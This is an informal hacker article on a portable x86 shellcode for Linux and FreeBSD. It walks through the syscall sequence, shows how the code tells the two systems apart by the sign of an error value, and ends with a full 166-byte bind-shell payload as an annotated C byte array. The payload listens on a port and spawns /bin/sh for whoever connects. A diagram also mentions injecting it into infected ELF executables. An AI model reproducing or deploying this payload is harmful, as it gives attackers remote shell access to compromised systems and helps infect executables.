Linux+FreeBSD shellcode ======================= Hello, All! This little article will just describe in some few words so called shellcode for Linux and FreeBSD systems, i.e. shellcode that works on both, so you can call it universal or portable, dunno what is more incorrect. And since i'm novice in all this crap, i usually dont understand what i'm speaking about - so be careful. ;) To be honest, to write this code i've used that nice stuff from http://lsd-pl.net/ -- seems really cool dudes there. My contribution is only that i've mixed two existing shellcodes, added fork() and some minor things, so new shellcode appeared to be portable, and a bit greater in size than each of old ones separately, but smaller than a sum of them. The shellcode, in some abstract form, looks as following: Target is SHELLCODE. Target is CODE SNIPPET. Exploited program: Infected file (using INFELF): EXECUTABLE EXECUTABLE <------+ | | | | [original bytes, | | stealed at hook offset] | [exploit | | is fork() | here] / \ | | child parent -----+ | | +--------------+-------------+ | socket() | bind() | listen() <-------+ | | accept() | | | fork() | / \ | child parent ------+ | dup2() | execve('/bin/sh') As you can see, only few functions should be called, and for almost all readers meaning of these functions is clear. Here is how syscalls looks like: Linux: FreeBSD: exit() mov eax, 1 --//-- int 80h close(handle) mov eax, 6 mov eax, 6 mov ebx, handle push handle push unused int 80h int 80h add esp, 8 cmp eax, -9 cmp eax, 9 je badf je badf fork() mov eax, 2 --//-- int 80h cmp eax, 0 je clone socket(family, type, proto) push proto push proto ; 0=IP push type push type ; 1=SOCK_STREAM push family push family ; 2=PF_INET mov ecx, esp mov ebx, 1 push unused mov eax, 102 mov eax, 97 int 80h int 80h add esp, 12 add esp, 16 bind(socket, addr, len) push len push len ; 16 push addr push addr push socket push socket mov ecx, esp mov ebx, 2 push unused mov eax, 102 mov eax, 104 int 80h int 80h add esp, 12 add esp, 16 listen(socket, backlog) push backlog push backlog ; 1 push socket push socket mov ecx, esp mov ebx, 4 push unused mov eax, 102 mov eax, 106 int 80h int 80h add esp, 8 add esp, 12 accept(socket, addr, len) push len push len ; 16 push addr push addr push socket push socket mov ecx, esp mov ebx, 5 push unused mov eax, 102 mov eax, 30 int 80h int 80h add esp, 12 add esp, 16 dup2(old_handle, new_handle) mov ecx, new_socket push new_socket ; 0,1,2 mov ebx, old_socket push old_socket push unused mov eax, 63 mov eax, 90 int 80h int 80h add esp, 12 execve(fname, argv[], envp[]) mov edx, envp push envp ; 0 mov ecx, argv push argv ; ['/bin/sh'] [0] mov ebx, fname push fname ; '/bin/sh' push unused mov eax, 11 mov eax, 59 int 80h int 80h add esp, 16 Now, about how we distinguish between Linux and FreeBSD - in NASM it looks as following: push byte 6 ; EAX = 6 = close() pop eax xor ebx, ebx dec ebx ; EBX = handle = -1 push ebx ; push handle = -1 push esp ; unused int 80h pop ecx ; fix stack pop ecx or eax, eax ; EBADF: linux: EAX=-9 freebsd: EAX=9 popa jl short __linux ; jl == jmp if linux __freebsd: And here is mix of all the stuff: --- begin shellcode.cpp --- #include #include #if defined(X86) && ( defined(LINUX) || defined(FREEBSD) ) char shellcode[] = /* 166 (0xA6) bytes */ "\xEB\x5D" /* 00 jmp short */ "\x5D" /* 02 pop ebp */ "\x31\xDB" /* 03 xor ebx, ebx */ "\x53" /* 05 push ebx */ "\x68\xFF\x02\x33\x33" /* 06 push 333302FFh */ "\x89\xE7" /* 0B mov edi, esp */ "\x53" /* 0D push ebx */ "\x43" /* 0E inc ebx */ "\x53" /* 0F push ebx */ "\x6A\x02" /* 10 push 2 */ "\xB0\x61" /* 12 mov al, 61h */ "\xFF\xD5" /* 14 call ebp */ "\x89\xD6" /* 16 mov esi, edx */ "\x6A\x10" /* 18 push 10h */ "\x57" /* 1A push edi */ "\x56" /* 1B push esi */ "\x43" /* 1C inc ebx */ "\xB0\x68" /* 1D mov al, 68h */ "\xFF\xD5" /* 1F call ebp */ "\x6A\x04" /* 21 push 4 */ "\x5B" /* 23 pop ebx */ "\x53" /* 24 push ebx */ "\x56" /* 25 push esi */ "\xB0\x6A" /* 26 mov al, 6Ah */ "\xFF\xD5" /* 28 call ebp */ "\x31\xC9" /* 2A xor ecx, ecx */ "\x51" /* 2C push ecx */ "\x51" /* 2D push ecx */ "\x56" /* 2E push esi */ "\x43" /* 2F inc ebx */ "\xB0\x1E" /* 30 mov al, 1Eh */ "\xFF\xD5" /* 32 call ebp */ "\x89\xD3" /* 34 mov ebx, edx */ "\xB0\x02" /* 36 mov al, 2 */ "\xFF\xD5" /* 38 call ebp */ "\x75\xE5" /* 3A jnz short */ "\x31\xC9" /* 3C xor ecx, ecx */ "\xB0\x3F" /* 3E mov al, 3Fh */ "\xFF\xD5" /* 40 call ebp */ "\x41" /* 42 inc ecx */ "\x80\xF9\x02" /* 43 cmp cl, 2 */ "\x76\xF6" /* 46 jbe short */ "\x31\xD2" /* 48 xor edx, edx */ "\x52" /* 4A push edx */ "\x68\x2F\x2F\x73\x68" /* 4B push 68732F2Fh */ "\x68\x2F\x62\x69\x6E" /* 50 push 6E69622Fh */ "\x89\xE3" /* 55 mov ebx, esp */ "\x52" /* 57 push edx */ "\x53" /* 58 push ebx */ "\x89\xE1" /* 59 mov ecx, esp */ "\xB0\x0B" /* 5B mov al, 0Bh */ "\xFF\xD5" /* 5D call ebp */ "\xE8\x9E\xFF\xFF\xFF" /* 5F call */ "\x60" /* 64 pusha */ "\x6A\x06" /* 65 push 6 */ "\x58" /* 67 pop eax */ "\x31\xDB" /* 68 xor ebx, ebx */ "\x4B" /* 6A dec ebx */ "\x53" /* 6B push ebx */ "\x54" /* 6C push esp */ "\xCD\x80" /* 6D int 80h */ "\x59" /* 6F pop ecx */ "\x59" /* 70 pop ecx */ "\x09\xC0" /* 71 or eax, eax */ "\x61" /* 73 popa */ "\x7C\x11" /* 74 jl short */ "\x3C\x0B" /* 76 cmp al, 0Bh */ "\x74\x21" /* 78 jz short */ "\x3C\x3F" /* 7A cmp al, 3Fh */ "\x74\x19" /* 7C jz short */ "\x0F\xB6\xC0" /* 7E movzx eax, al */ "\xCD\x80" /* 81 int 80h */ "\x92" /* 83 xchg eax, edx */ "\x09\xD2" /* 84 or edx, edx */ "\xC3" /* 86 retn */ "\x3C\x1E" /* 87 cmp al, 1Eh */ "\x74\x04" /* 89 jz short */ "\x3C\x3F" /* 8B cmp al, 3Fh */ "\x76\xEF" /* 8D jbe short */ "\xB0\x66" /* 8F mov al, 66h */ "\x8D\x4C\x24\x04" /* 91 lea ecx, [esp+4] */ "\xEB\xE7" /* 95 jmp */ "\xB0\x5A" /* 97 mov al, 5Ah */ "\xEB\x02" /* 99 jmp short */ "\xB0\x3B" /* 9B mov al, 3Bh */ "\x5E" /* 9D pop esi */ "\x52" /* 9E push edx */ "\x51" /* 9F push ecx */ "\x53" /* A0 push ebx */ "\x54" /* A1 push esp */ "\xCD\x80" /* A2 int 80h */ "\xFF\xE6" /* A4 jmp esi */ ; #endif char main() { printf("shellcode size = %d bytes\n", strlen(shellcode)); } --- end shellcode.cpp ---